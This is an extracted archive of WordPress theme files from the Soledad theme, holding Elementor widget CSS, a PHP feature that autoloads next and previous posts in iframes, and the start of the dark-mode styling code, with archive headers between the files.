	.penci-hover-box-description.penci-hvb-position-top
	.penci-hover-box-icon-wrap,
.penci-hover-box-skin-envelope
	.penci-hover-box-description.penci-hvb-position-bottom
	.penci-hover-box-icon-wrap {
	right: -40px;
	bottom: -40px;
}
.penci-hover-box-skin-envelope
	.penci-hover-box-description.penci-hvb-position-center
	.penci-hover-box-icon-wrap {
	right: -40px;
}
.penci-hover-box-skin-envelope .penci-hover-box-item-wrap {
	max-width: inherit;
}
.penci-hover-box-skin-envelope
	.penci-hover-box-item-wrap
	> .penci-hvb-active:before {
	content: "";
	position: absolute;
	height: 100%;
	width: 1px;
	background: #fff;
	top: 0;
	left: -0.5px;
	z-index: 1;
}
.penci-hover-box-skin-envelope
	.penci-hover-box-item-wrap
	> .penci-hvb-active:nth-child(1):before {
	width: 0px !important;
}
.penci-hover-box-skin-envelope .penci-hvb-slidenav {
	color: #fff;
	z-index: 1;
}
.penci-hover-box-skin-envelope .penci-hvb-slidenav svg {
	width: 1em;
}
@media (min-width: 768px) {
	.penci-hover-box {
		height: 540px;
	}
	.penci-hover-box-skin-envelope .penci-hover-box-item {
		height: 540px;
	}
	.penci-hover-box-item-wrap {
		max-width: 640px;
	}
	.penci-hover-box-item {
		padding: 20px;
	}
	.penci-hover-box-icon-wrap {
		font-size: 100px;
	}
	.penci-hover-box-sub-title {
		font-size: 16px;
	}
	.penci-hover-box-title {
		font-size: 24px;
	}
	.penci-hover-box-text {
		font-size: 16px;
		padding-top: 15px;
	}
	.penci-hover-box-button {
		padding-top: 30px;
	}
	.penci-hover-box-button a {
		font-size: 14px;
		padding: 8px 16px;
	}
}
.penci-hover-box-style-2 .penci-hover-box-item {
	padding: 20px;
	border: 0;
	text-align: center;
}
.penci-hover-box-style-2 .penci-hover-box-item.active {
	background: transparent;
	border-color: transparent;
}
.penci-hover-box-style-2
	.penci-hover-box-item.active
	.penci-hover-box-button
	a {
	color: #fff;
	background: var(--pcaccent-cl);
}
.penci-hover-box-style-2
	.penci-hover-box-item.active
	.penci-hover-box-button
	a:hover {
	color: var(--pcaccent-cl);
	background: #fff;
}
.penci-hover-box-style-2 .penci-hover-box-item.active .penci-hover-box-text,
.penci-hover-box-style-2 .penci-hover-box-item.active .penci-hover-box-button,
.penci-hover-box-style-2
	.penci-hover-box-item.active
	.penci-hover-box-icon-wrap,
.penci-hover-box-style-2
	.penci-hover-box-item.active
	.penci-hover-box-sub-title {
	opacity: 1;
	transform: translateY(0);
}
.penci-hover-box-style-2 .penci-hover-box-item.active .penci-hover-box-text,
.penci-hover-box-style-2
	.penci-hover-box-item.active
	.penci-hover-box-sub-title {
	transition-delay: 0.3s;
}
.penci-hover-box-style-2 .penci-hover-box-item.active .penci-hover-box-button,
.penci-hover-box-style-2
	.penci-hover-box-item.active
	.penci-hover-box-icon-wrap {
	transition-delay: 0.4s;
}
.penci-hover-box-style-2
	.penci-hover-box-item:hover
	.penci-hover-box-icon-wrap
	svg {
	transform: rotate(0) !important;
}
.penci-hover-box-style-2 .penci-hover-box-item:hover .penci-hover-box-text,
.penci-hover-box-style-2 .penci-hover-box-item:hover .penci-hover-box-button,
.penci-hover-box-style-2 .penci-hover-box-item:hover .penci-hover-box-icon-wrap,
.penci-hover-box-style-2
	.penci-hover-box-item:hover
	.penci-hover-box-sub-title {
	opacity: 1;
	transform: translateY(0);
}
.penci-hover-box-style-2 .penci-hover-box-item:hover .penci-hover-box-text,
.penci-hover-box-style-2
	.penci-hover-box-item:hover
	.penci-hover-box-sub-title {
	transition-delay: 0.3s;
}
.penci-hover-box-style-2 .penci-hover-box-item:hover .penci-hover-box-button,
.penci-hover-box-style-2
	.penci-hover-box-item:hover
	.penci-hover-box-icon-wrap {
	transition-delay: 0.4s;
}
.penci-hover-box-style-2 .penci-hover-box-icon-wrap {
	position: unset;
	font-size: 24px;
	opacity: 1;
	padding: 14px;
	border-radius: 50%;
	margin: 0 0 20px;
	background-color: var(--pcaccent-cl);
	justify-content: center;
  	align-items: center;
	width: 60px;
	height: 60px;
}
.penci-hover-box-style-2 .penci-hover-box-icon-wrap svg {
	fill: #fff;
}
.penci-hover-box-style-2 .penci-hover-box-sub-title,
.penci-hover-box-style-2 .penci-hover-box-icon-wrap {
	opacity: 0;
	transform: translateY(-30px);
	transition: all 0.3s ease;
}
.penci-hover-box-style-2 .penci-hover-box-text,
.penci-hover-box-style-2 .penci-hover-box-button {
	opacity: 0;
	transform: translateY(30px);
	transition: all 0.3s ease;
}
.penci-hover-box-style-2 .penci-hover-box-button a {
	color: #fff;
	background: var(--pcaccent-cl);
}
.penci-hover-box-style-2 .pchvb-meta a {
	color: #fff;
}
@media (min-width: 1024px) {
	.penci-hover-box {
		height: 900px;
	}
	.penci-hover-box-skin-envelope .penci-hover-box-item {
		height: 900px;
	}
	.penci-hover-box-item {
		padding: 40px;
	}
	.penci-hover-box-item-wrap {
		max-width: 1080px;
	}
	.penci-hover-box-icon-wrap {
		font-size: 140px;
	}
}
.pchvb-meta {
	font-size: 12px;
	border-bottom: 1px var(--pcborder-cl);
	padding-bottom: 0;
	margin-bottom: 10px;
	color: #fff;
	line-height: 1.2;
}
.post-entry .pchvb-meta a,
.pchvb-meta a {
	color: rgba(255, 255, 255, 0.8);
	font-weight: bold;
	text-decoration: none;
}
.penci-hover-box-item.active .pchvb-meta a,
.post-entry .penci-hover-box-item.active .pchvb-meta a {
	color: #fff;
}
.pchvb-meta .pcbg-meta-desc {
	display: flex;
	flex-wrap: wrap;
	column-gap: 15px;
}
.penci-hover-box-style-1 .penci-hover-box-item {
	height: 100%;
}
.penci-hover-box-style-2 .penci-hover-box-item .pchvb-meta .pcbg-meta-desc {
	justify-content: center;
}PK     1w\EHgU  U  #  elementor/assets/css/circleinfo.cssnu [        .penci-cinfo {
	--boxshadow-cl: rgba(170, 163, 163, 0.3);
	--boxshadow-acl: rgba(148, 144, 144, 0.3);
}
.penci-cinfoitem {
	height: 100%;
	width: 100%;
	border-radius: 50%;
	transition: all 0.3s ease;
}
.penci-cinfosub-circle {
	color: var(--pcheading-cl);
	width: 60px;
	height: 60px;
	display: flex;
	justify-content: center;
	align-items: center;
	margin: auto;
	box-shadow: 0 5px 15px 0 var(--boxshadow-cl);
	background-color: var(--pcbg-cl);
	border-radius: 50%;
	transition: 0.5s cubic-bezier(0.175, 0.885, 0.32, 1.275);
	cursor: pointer;
	left: 0;
	right: 0;
	top: 0;
	bottom: 0;
	position: absolute;
	z-index: 9;
	line-height: 1;
}
.penci-cinfosub-circle i {
	font-size: 26px;
	top: 0;
	position: relative;
}
.penci-cinfosub-circle svg {
	width: 1em;
	height: 1em;
	fill: var(--pcborder-cl);
}
.penci-cinfosub-circle:hover,
.penci-cinfosub-circle.active {
	color: var(--pcbg-cl);
	box-shadow: 0 6px 13px 0 var(--boxshadow-acl);
	background-color: var(--pcaccent-cl);
	transition: background-color 1s;
}
.penci-cinfosub-circle:hover svg,
.penci-cinfosub-circle.active svg {
	fill: var(--pcbg-cl);
}
.penci-cinfowrap {
	border-radius: 100%;
	margin: 60px auto;
	position: relative;
}
.penci-cinfoinner {
	border-radius: 50%;
	box-sizing: content-box;
	padding-bottom: unset;
	display: block;
	margin: 0 auto;
	width: 100%;
	height: 100%;
	z-index: 9;
}
.penci-cinfoinner:before,
.penci-cinfoinner:after {
	content: "";
	position: absolute;
	left: 50%;
	transform: translateX(-50%);
	right: 0;
	top: 0;
	bottom: 0;
	margin: auto;
	border-radius: 50%;
	display: block;
}
.penci-cinfoinner:before {
	height: 100%;
	width: 100%;
	border: 1px solid var(--boxshadow-cl);
}
.penci-cinfoinner:after {
	height: 130%;
	width: 130%;
	border: 1px solid var(--boxshadow-cl);
}
.penci-cinfocontent {
	height: 80%;
	width: 80%;
	display: flex;
	justify-content: center;
	align-items: center;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	margin: auto;
	position: absolute;
	padding: 0;
	border-radius: 100%;
}
.penci-cinfoitem {
	display: none;
	justify-content: center;
	align-items: center;
	flex-direction: column;
	z-index: 2;
	background-color: var(--pcbg-cl);
	transition: background-color 1s;
}
.penci-cinfoitem.active {
	display: flex;
	animation: fade-in 1.2s cubic-bezier(0.39, 0.575, 0.565, 1) both;
}
.penci-cinfotitle {
	font-size: 20px;
	font-weight: 900;
	margin-bottom: 15px;
	text-align: center;
	display: block;
	line-height: 1.3;
}
.penci-cinfodesc {
	display: block;
	color: var(--pcmeta-cl);
	font-size: 14px;
	line-height: 1.88;
	text-align: center;
	margin: 0;
	transition: all 0.5s;
}
.penci-cinfodesc p {
	margin: 0;
}
.penci-cinfoicon.d-md-none {
	display: none;
}
.penci-cinfo-style-circle .penci-cinfoitem {
	height: 100%;
	width: 100%;
	border-radius: 50%;
	transition: background-image 0.2s ease-in-out;
}
.penci-cinfo-hide-yes .penci-cinfocontent-inner {
	display: none;
}
@media (max-width: 767px) {
	.penci-cinfo-style-list .penci-cinfowrap {
		height: 100% !important;
		width: 100% !important;
		margin: auto !important;
	}
	.penci-cinfo-style-list .penci-cinfoinner {
		display: none;
	}
	.penci-cinfo-style-list .penci-cinfocontent {
		width: 100%;
		height: 100%;
		display: block;
		position: relative;
		transition: all 0.4s ease;
	}
	.penci-cinfo-style-list .penci-cinfocontent-inner {
		margin-left: 60px;
	}
	.penci-cinfo-style-list .penci-cinfoitem {
		display: inherit;
		position: relative;
		width: 100%;
		margin-bottom: 10px;
		padding: 10px;
		border-radius: 0;
	}
	.penci-cinfo-style-list .penci-cinfoitem.right {
		float: right;
	}
	.penci-cinfo-style-list .penci-cinfotitle {
		margin-bottom: 8px;
		text-align: left;
	}
	.penci-cinfo-style-list .penci-cinfodesc {
		text-align: left;
	}
	.penci-cinfo-style-list .penci-cinfoicon {
		position: absolute;
		width: 40px;
		height: 40px;
		font-size: 18px;
		overflow: hidden;
		border-radius: 50%;
		box-shadow: 0 5px 15px 0 var(--boxshadow-cl);
		transition: all 0.5s;
		cursor: pointer;
		color: var(--pcborder-cl);
	}
	.penci-cinfo-style-list .penci-cinfoicon:hover {
		box-shadow: 0 6px 13px 0 var(--boxshadow-acl);
		background-color: var(--pcaccent-cl);
		color: var(--pcbg-cl);
	}
	.penci-cinfo-style-list .penci-cinfoicon:hover svg {
		fill: var(--pcbg-cl);
	}
	.penci-cinfo-style-list .penci-cinfoicon svg,
	.penci-cinfo-style-list .penci-cinfoicon i {
		position: absolute;
		top: 50%;
		transform: translate(-50%, -50%);
		left: 50%;
	}
	.penci-cinfo-style-list .penci-cinfoicon svg {
		width: 1em;
		height: 1em;
		fill: var(--pcborder-cl);
	}
	.penci-cinfo-style-list .penci-cinfoicon.d-md-none {
		display: inherit;
	}
	.penci-cinfo-style-list .penci-cinfosub-circle {
		display: none;
	}
}PK     1w\M    #  elementor/assets/css/circlemenu.cssnu [        .penci-circle-menu-container {
	z-index: 99;
	position: relative;
	-webkit-transform: translate(
		0,
		0
	);
	transform: translate(
		0,
		0
	);
}
.penci-circle-menu-container .penci-cmenu-menu-icon {
	font-size: 14px;
}
.penci-circle-menu-container .penci-cmenu-menu-icon svg {
	width: 1em;
	height: 1em;
}
.penci-circle-menu li {
	background: #000;
	color: #fff;
	font-size: 25px;
}
.penci-circle-menu li.penci-cmenu-toggle-icon {
	display: block !important;
	width: 50px !important;
	height: 50px !important;
	text-align: center !important;
	line-height: 50px !important;
	position: relative !important;
	z-index: 1000 !important;
	border-radius: 50% !important;
	transition: all 500ms ease !important;
	vertical-align: middle;
	transform-origin: center;
	background: #1e87f0;
	color: #fff;
}
.penci-cmenu-item {
	display: flex;
	align-items: center;
	justify-content: center;
}
.penci-cmenu-icon {
	display: flex;
	justify-content: center;
	align-items: center;
}
.penci-circle-menu li a {
	text-decoration: none !important;
	color: #fff;
	width: 100%;
	height: 100%;
}
.penci-circle-menu li a svg {
	display: inline-block;
	width: 1em;
	height: 1em;
	fill: #fff;
}
.penci-circle-menu li a i {
	font-size: 12px;
}
.penci-circle-menu li span {
	display: inline-flex;
}
.penci-circle-menu:not(.circleMenu-closed) li {
	display: none;
}
.penci-circle-menu.circleMenu-open > li:first-child {
	transform: rotate(360deg);
	transform-origin: center;
}
PK     1w\=Д-      elementor/elementor.phpnu [        <?php
define( 'PENCI_ELEMENTOR_PATH', PENCI_SOLEDAD_DIR . '/inc/elementor/' );
define( 'PENCI_ELEMENTOR_URL', PENCI_SOLEDAD_URL . '/inc/elementor/' );

/**
 * Add a custom control to reorder columns
 */

use Elementor\Controls_Manager;

function penci_add_display_order_control( $el, $args ) {
	$el->add_responsive_control( 'sc_rce_display_order', [
		'label'       => esc_html__( 'Display Order', 'soledad' ),
		'type'        => Controls_Manager::NUMBER,
		'min'         => - 10,
		'max'         => 10,
		'step'        => 1,
		'render_type' => 'ui',
		'separator'   => 'before',
		'selectors'   => [
			'{{WRAPPER}}' => 'order:{{VALUE}} !important'
		]
	] );
}

add_action( 'elementor/element/common/_section_style/before_section_end', 'penci_add_display_order_control', PHP_INT_MAX, 2 );
add_action( 'elementor/element/column/layout/before_section_end', 'penci_add_display_order_control', PHP_INT_MAX, 2 );
add_action( 'elementor/element/section/section_layout/before_section_end', 'penci_add_display_order_control', PHP_INT_MAX, 2 );


if ( ! class_exists( 'Penci_Soledad_Elementor_Extension' ) ):
	final class Penci_Soledad_Elementor_Extension {
		private static $_instance = null;

		public static function instance() {
			if ( is_null( self::$_instance ) ) {
				self::$_instance = new self();
			}

			return self::$_instance;
		}

		public function __construct() {
			require PENCI_ELEMENTOR_PATH . 'loader.php';
		}
	}

	Penci_Soledad_Elementor_Extension::instance();
endif;
PK     1w\a /-  /-    load_next_prev_posts.phpnu [        <?php
/*
 * Running autoload next/prev posts based on the settings from Customize > Single Posts
 * 
 */
class PENCI_SINGLE_LOAD_POSTS {
	
	function __construct() {
		/* Main hooks */
		add_action( 'wp', array( $this, 'posts_hook' ) );
		add_action( 'init', array( $this, 'comment_redirect' ), 5 );
	}


	/**
	 * posts_hook
	 */
	function posts_hook(){

		// Make sure on single posts & the option is enabled
		if( get_theme_mod( 'penci_loadnp_posts' ) && is_single() ){
			// Hook for the posts loads after scroll down and the current viewing posts
			if( function_exists( 'penci_is_single_npload' ) && penci_is_single_npload() ){
				$this->hooks_loads_posts();
			} else{
				$this->hooks_current_posts();
			}
		}
	}


	/**
	 * Current viewing post hooks
	 */
	function hooks_current_posts(){

		// Insert the iframe code after the post content
		add_action( 'penci_action_after_post_content', array( $this, 'get_previous_in_iframe' ), 100 );

		// Insert the iframe Js code at the footer after loading jQuery
		add_action( 'wp_footer', array( $this, 'enque_js_current_post' ), 99999 );

		// Custom body class in the Ajax loaded posts
		add_action('body_class', function( $classes ){
			$classes[] = 'penci-current-single-loadmore';
			return $classes;
		});
	}


	/**
	 * Enqueue js for current viewing post
	 */
	function enque_js_current_post(){
		?>
		<script type="text/javascript" src="<?php echo PENCI_SOLEDAD_URL; ?>/js/loadnp_current_posts.js"></script>
		<?php
	}


	/**
	 * Get the Iframe Code
	 */
	function get_previous_in_iframe(){

		$type = get_theme_mod( 'autoload_posts_type' ) ? get_theme_mod( 'autoload_posts_type' ) : 'prev';

		switch ( $type ) {
			case 'next':
				$prev_posts = $this->get_adjacent_post( false );
				break;
			case 'prev_cat':
				$prev_posts = $this->get_adjacent_post( true, true );
				break;
			case 'next_cat':
				$prev_posts = $this->get_adjacent_post( false, true );
				break;
			case 'prev_tag':
				$prev_posts = $this->get_adjacent_post( true, true, '', 'post_tag' );
				break;
			case 'next_tag':
				$prev_posts = $this->get_adjacent_post( false, true, '', 'post_tag' );
				break;
			default:
				$prev_posts = $this->get_adjacent_post();
		}

		if ( ! empty( $prev_posts ) ) {

			echo '
				<script>var PenciLoadNextPrevPosts = '. wp_json_encode( $prev_posts ) .';</script>
				<div id="penci-wrapper-single-loadmore">
					<div id="penci-wrapper-iframe-data">
					</div>
					<div class="penci-single-loadmore-anim"><div class="penci-loadmore-horizontal">Loading...</div></div>
				</div>
			';
		}
	}


	/**
	 * Load more posts iframe
	 */
	function hooks_loads_posts(){

		// Remove admin bar
		add_filter('show_admin_bar', '__return_false');

		// Remove header & footer
		add_filter( 'penci_filter_hide_header', function(){ return true; } );
		add_filter( 'penci_filter_hide_footer', function(){ return true; } );

		// Modify header and footer of next/prev posts
		add_action( 'wp_head', array( $this, 'loads_posts_header' ), 200 );
		add_action( 'wp_footer', array( $this, 'loads_posts_footer' ), 2 );

		// Add custom body class for loaded posts
		add_action( 'body_class', array( $this, 'loads_posts_bodyclass' ) );
		
		// Add custom class for the main post div, same class will be used for the iframe
		add_action('penci_post_class', function( $return ){
			$return .= ' penci-postclass-loadmore';
			echo $return;
		} );

		// Hook for SEO plugins - Yoast & Rank Math
		add_filter( 'wpseo_frontend_presenter_classes', array( $this, 'yoast_seo_remove_tags' ) );
		add_filter( 'rank_math/frontend/robots', array( $this, 'rank_math_remove_tags' ) );

		// Hook to before & after wp_footer and hide all elements inside it excerpt script & link tags
		add_action( 'wp_footer', function(){
			echo '
				<style>
					html body + *:not(script):not(link),
					html body ~ *:not(script):not(link),
					html body div#penci-iframe-loadnp-footer *:not(script):not(link),
					html body div#penci-iframe-loadnp-footer + *:not(script):not(link),
					html body div#penci-iframe-loadnp-footer ~ *:not(script):not(link){
						display: none !important;
						visibility: hidden !important;
						z-index: -1 !important;
						opacity: 0 !important;
						height: 0 !important;
						width: 0!important;
					}
				</style>
			';
			echo '<div id="penci-iframe-loadnp-footer">';
		}, 0 );

		add_action( 'wp_footer', function(){
			echo '</div>';
		}, 10000000000 );

	}


	/**
	 * Actions for <head> tag of next/prev posts
	 */
	function loads_posts_header(){
		// Stop index for loaded iframe
		echo '<meta name="robots" content="noindex, nofollow" />';

		// Enqueue js for loaded posts iframe
		echo '<script type="text/javascript" src="'. PENCI_SOLEDAD_URL . '/js/loadnp_next_posts.js"></script>';

		// CSS
		$css_codes = apply_filters( 'penci_css_loaded_posts', '
			html{
				overflow: hidden !important;
			}
			html, body{
				background: transparent !important;
				padding: 0 !important;
				margin 0 !important;
			}
			.penci-rlt-popup, .penci-wrap-gprd-law{
				display: none !important;
			}
			.fb-comments > span {
				display: block !important;
			}
			.fb-comments > span iframe{
				width: 100% !important;
			}
		');

		if( ! empty( $css_codes ) ){
			echo '<style>'.  $css_codes .'</style>';
		}
	}


	/**
	 * Add custom code before close </body> tag for loaded posts
	 */
	function loads_posts_footer(){
		
		$data = '<script>
			var link = document.getElementsByTagName("a");
			var i;
			for (i = 0; i < link.length; i++) {

				if( link[i].href !== "#" && "undefined" !== typeof link[i].target ){
					link[i].setAttribute("target", "_parent")
				}
			}

			var iFrameResizer = {
				onMessage: function(message) {
					alert(message, parentIFrame.getId())
				},
				onReady: function() {
					parentIFrame.sendMessage( \'{ "id": "readytoLoad" }\' );
				}
			}

			// Listen to parent
			window.addEventListener("message", handleParentMessage, false);
			function handleParentMessage(e) {
				if( e.data && typeof e.data === "object" ){
			    html = document.getElementsByTagName("html")[0].classList;
					if( "undefined" !== typeof e.data.addClass ) {
						var Classes = e.data.addClass.split(" ");
						for (i = 0; i < Classes.length; i++) {
							if( Classes[i] ){
								html.add( Classes[i] );
							}
						}
					}
					if( "undefined" !== typeof e.data.removeClass ) {
						var Classes = e.data.removeClass.split(" ");
						for (i = 0; i < Classes.length; i++) {
							if( Classes[i] ){
								html.remove( Classes[i] );
							}
						}
					}
				}
			}
		</script>';

		echo $data;
	}


	/**
	 * Custom Class in the Ajax Loaded Posts
	 */
	function loads_posts_bodyclass( $classes ){

		$classes[] = 'penci-single-loaded-posts';

		return $classes;
	}


	/**
	 * Disable all meta tags from Yoast SEO for load posts - more information: https://developer.yoast.com/customization/apis/metadata-api/
	 */
	function yoast_seo_remove_tags( $presenters ){

		if( is_array( $presenters ) && ! empty( $presenters ) ){

			$prefix = 'Yoast\WP\SEO\Presenters';

			$removed_tags = array(
				'\Robots_Presenter',
				'\Googlebot_Presenter',
				'\Bingbot_Presenter',
			);

			foreach ( $presenters as $key => $val ) {
				$presenter = str_replace( $prefix, '', $val );
				if( in_array( $presenter, $removed_tags ) ){
					unset( $presenters[ $key ] );
				}
			}
		}

		return $presenters;
	}

	/**
	 * Disable index, follow from Rank Math plugin
	 */
	function rank_math_remove_tags( $tags ) {
		$tags['index']  = 'noindex';
		$tags['follow'] = 'nofollow';

		return $tags;
	}
	
	/**
	 * Modify the get_adjacent_post function to get the data of load next/prev posts - original function: https://developer.wordpress.org/reference/functions/get_adjacent_post/
	 */
	function get_adjacent_post( $previous = true, $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
		global $wpdb;

		$post = get_post();
		if ( ! $post || ! taxonomy_exists( $taxonomy ) ) {
			return null;
		}

		$current_post_date = $post->post_date;

		$join     = '';
		$where    = '';
		$adjacent = $previous ? 'previous' : 'next';

		if ( ! empty( $excluded_terms ) && ! is_array( $excluded_terms ) ) {
			$excluded_terms = explode( ',', $excluded_terms );
			$excluded_terms = array_map( 'intval', $excluded_terms );
		}

		if ( $in_same_term || ! empty( $excluded_terms ) ) {
			if ( $in_same_term ) {
				$join  .= " INNER JOIN $wpdb->term_relationships AS tr ON p.ID = tr.object_id INNER JOIN $wpdb->term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id";
				$where .= $wpdb->prepare( 'AND tt.taxonomy = %s', $taxonomy );

				if ( ! is_object_in_taxonomy( $post->post_type, $taxonomy ) ) {
					return '';
				}
				$term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );

				// Remove any exclusions from the term array to include.
				$term_array = array_diff( $term_array, (array) $excluded_terms );
				$term_array = array_map( 'intval', $term_array );

				if ( ! $term_array || is_wp_error( $term_array ) ) {
					return '';
				}

				$where .= ' AND tt.term_id IN (' . implode( ',', $term_array ) . ')';
			}

			if ( ! empty( $excluded_terms ) ) {
				$where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM $wpdb->term_relationships tr LEFT JOIN $wpdb->term_taxonomy tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id) WHERE tt.term_id IN (" . implode( ',', array_map( 'intval', $excluded_terms ) ) . ') )';
			}
		}

		// Only Published posts
		$where .= " AND p.post_status = 'publish'";

		$op    = $previous ? '<' : '>';
		$order = $previous ? 'DESC' : 'ASC';
		$limit = get_theme_mod( 'penci_loadnp_number') ? get_theme_mod( 'penci_loadnp_number') : 4;

		$where = $wpdb->prepare( "WHERE p.post_date $op %s AND p.post_type = %s $where", $current_post_date, $post->post_type );

		$query     = "SELECT DISTINCT ID, post_author, post_date, post_date_gmt, post_title, post_type, post_status, post_name, guid FROM $wpdb->posts AS p $join $where ORDER BY p.post_date $order LIMIT $limit";
		$query_key = 'autoload_posts_' . md5( $query );
		$result    = wp_cache_get( $query_key, 'counts' );

		if ( false === $result ) {

			$result = $wpdb->get_results( $query );

			if ( null === $result ) {
				$result = '';
			}

			wp_cache_set( $query_key, $result, 'counts' );
		}

		$loaddata = array();

		if( ! empty( $result ) || is_array( $result ) ){
			foreach ( $result as $postdata ) {
				
				// Permalinks
				$post_url = get_permalink( $postdata );

				// Change the edit URL, 
				$post_type_object = get_post_type_object( $postdata->post_type );
				$edit_url = admin_url( sprintf( $post_type_object->_edit_link . '&amp;action=edit', $postdata->ID ) );

				$loaddata[] = array(
					'id'       => $postdata->ID,
					'url'      => $post_url,
					'edit_url' => $edit_url,
					'title'    => get_the_title( $postdata ),
					'src'      => add_query_arg( 'penci-sload-ajax', '1', $post_url ),
				);

			}

			return $loaddata;
		}

		return false;
	}
	
	/**
	 * Comment redirect
	 */
	function comment_redirect(){
		if( get_theme_mod( 'penci_loadnp_posts' ) && is_single() ){
			add_filter( 'comment_post_redirect', array( $this, 'comment_redirect_hook' ) );
		}
	}

	/**
	 * Add parameter ?penci-sload-ajax to the comment URL to refresh page after someone commented.
	 */
	function comment_redirect_hook( $url ){

		if ( strpos( $_SERVER["HTTP_REFERER"], 'penci-sload-ajax' ) !== false ) {
			$url = add_query_arg( 'penci-sload-ajax', 'true', $url );
		}

		return $url;
	}

}

new PENCI_SINGLE_LOAD_POSTS();PK     1w\g.4u  u    darkmode.phpnu [        <?php
if ( ! function_exists( 'penci_dm_button' ) ) {
	function penci_dm_button( $style = 1, $customizer = true ) {

		if ( ! get_theme_mod( 'penci_dms_enable' ) ) {
			return false;
		}

		if ( $customizer ) {
			$style = get_theme_mod( 'penci_dms_style', '3' );
		}

		return '<div class="pc_dm_mode style_' . $style . '">
						<label class="pc_dm_switch">
							<input type="checkbox" class="pc_dark_mode_toggle" aria-label="Darkmode Switcher">
							<span class="slider round"></span>
						</label>
					</div>';
	}
}

if ( ! function_exists( 'penci_render_dark_style' ) ) {
	add_action( 'wp_enqueue_scripts', 'penci_render_dark_style' );
	function penci_render_dark_style() {
		wp_register_style( 'penci-dark-style', PENCI_SOLEDAD_URL . '/dark.min.css', array(), PENCI_SOLEDAD_VERSION );
		wp_register_script( 'penci-dark', PENCI_SOLEDAD_URL . '/js/darkmode.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION );
		if ( get_theme_mod( 'penci_dms_enable' ) ) {
			wp_enqueue_style( 'penci-dark-style' );
			wp_enqueue_script( 'penci-dark' );
			wp_localize_script(
				'penci-dark',
				'penci_dark',
				array(
					'auto_by'   => (bool) get_theme_mod( 'penci_dms_auto_by' ),
					'darktheme' => (bool) get_theme_mod( 'penci_enable_dark_layout' ),
					'darkmode'  => (bool) get_theme_mod( 'penci_dms_dark_default' ),
				)
			);
		}
	}
}

if ( ! function_exists( 'penci_render_dmcheck' ) ) {
	add_action( 'wp_footer', 'penci_render_dmcheck', 10 );
	function penci_render_dmcheck() {
		if ( get_theme_mod( 'penci_dms_enable' ) ) {
			echo '<script id="penci-dm-checking" type="text/javascript">';
			echo file_get_contents( PENCI_SOLEDAD_DIR . '/js/darkmode-loading.js' );
			echo '</script>';
		}
	}
}

if ( ! function_exists( 'penci_dm_header_content' ) ) {

	add_action( 'penci_top_search', 'penci_dm_header_content' );

	function penci_dm_header_content() {
		echo penci_dm_button();
	}
}

if ( ! function_exists( 'penci_adjust_hexcolor' ) ) {
	function penci_adjust_hexcolor( $hexCode, $adjustPercent ) {
		$hexCode = ltrim( $hexCode, '#' );

		if ( strlen( $hexCode ) == 3 ) {
			$hexCode = $hexCode[0] . $hexCode[0] . $hexCode[1] . $hexCode[1] . $hexCode[2] . $hexCode[2];
		}

		$hexCode = array_map( 'hexdec', str_split( $hexCode, 2 ) );

		foreach ( $hexCode as & $color ) {
			$adjustableLimit = $adjustPercent < 0 ? $color : 255 - $color;
			$adjustAmount    = ceil( $adjustableLimit * $adjustPercent );

			$color = str_pad( dechex( $color + $adjustAmount ), 2, '0', STR_PAD_LEFT );
		}

		return '#' . implode( $hexCode );
	}
}
if ( ! function_exists( 'penci_darkmode_css' ) ) {
	add_action( 'soledad_theme/custom_dark_css', 'penci_darkmode_css' );
	function penci_darkmode_css() {
		$bgdark         = get_theme_mod( 'penci_dm_bg_color_dark' ) ? get_theme_mod( 'penci_dm_bg_color_dark' ) : '#000000';
		$bgdark_lighten = penci_adjust_hexcolor( $bgdark, 0.1 );
		$bgdark_darker  = penci_adjust_hexcolor( $bgdark, - 0.1 );
		$accent_dark    = get_theme_mod( 'penci_accent_color_dark', get_theme_mod( 'penci_color_accent', '#6eb48c' ) );
		$link           = get_theme_mod( 'penci_link_color_dark', '#fff' );
		$linkh          = get_theme_mod( 'penci_link_hcolor_dark', $accent_dark );
		$text           = get_theme_mod( 'penci_dm_text_color_dark', '#fff' );
		$meta           = get_theme_mod( 'penci_dm_meta_color_dark', '#999999' );
		$border         = get_theme_mod( 'penci_dm_border_color_dark', '#313131' );
		$heading        = get_theme_mod( 'penci_heading_color_dark', 'rgba(255,255,255,0.9)' );
		$smborder       = penci_adjust_hexcolor( $border, 0.05 );

		// customizer style button
		$btn_bg_color  = get_theme_mod( 'penci_dm_bg_color', 'rgba(0, 0, 0, .1)' );
		$btn_d_color   = get_theme_mod( 'penci_dm_d_color', '#666' );
		$btn_dbg_color = get_theme_mod( 'penci_dm_d_bgcolor', '#fff' );
		$btn_n_color   = get_theme_mod( 'penci_dm_n_color', 'var(--pctext-cl)' );
		$btn_nbg_color = get_theme_mod( 'penci_dm_n_bgcolor', 'var(--pcbg-cl)' );
		?>
		body {
		--pcdm_btnbg: <?php echo $btn_bg_color; ?>;
		--pcdm_btnd: <?php echo $btn_d_color; ?>;
		--pcdm_btndbg: <?php echo $btn_dbg_color; ?>;
		--pcdm_btnn: <?php echo $btn_n_color; ?>;
		--pcdm_btnnbg: <?php echo $btn_nbg_color; ?>;
		}
		body.pcdm-enable {
		--pcbg-cl: <?php echo $bgdark; ?>;
		--pcbg-l-cl: <?php echo $bgdark_lighten; ?>;
		--pcbg-d-cl: <?php echo $bgdark_darker; ?>;
		--pctext-cl: <?php echo $text; ?>;
		--pcborder-cl: <?php echo $border; ?>;
		--pcborders-cl: <?php echo $smborder; ?>;
		--pcheading-cl: <?php echo $heading; ?>;
		--pcmeta-cl: <?php echo $meta; ?>;
		--pcl-cl: <?php echo $link; ?>;
		--pclh-cl: <?php echo $linkh; ?>;
		--pcaccent-cl: <?php echo $accent_dark; ?>;
		background-color: var(--pcbg-cl);
		color: var(--pctext-cl);
		}
		body.pcdark-df.pcdm-enable.pclight-mode {
		--pcbg-cl: #fff;
		--pctext-cl: #313131;
		--pcborder-cl: #dedede;
		--pcheading-cl: #313131;
		--pcmeta-cl: #888888;
		--pcaccent-cl: <?php echo $accent_dark; ?>;
		}
		<?php
		// Color single
		$single_style = penci_get_single_style();
		if ( ! get_theme_mod( 'penci_move_title_bellow' ) ) {
			$single_color_title    = get_theme_mod( 'penci_single_color_title_s568' );
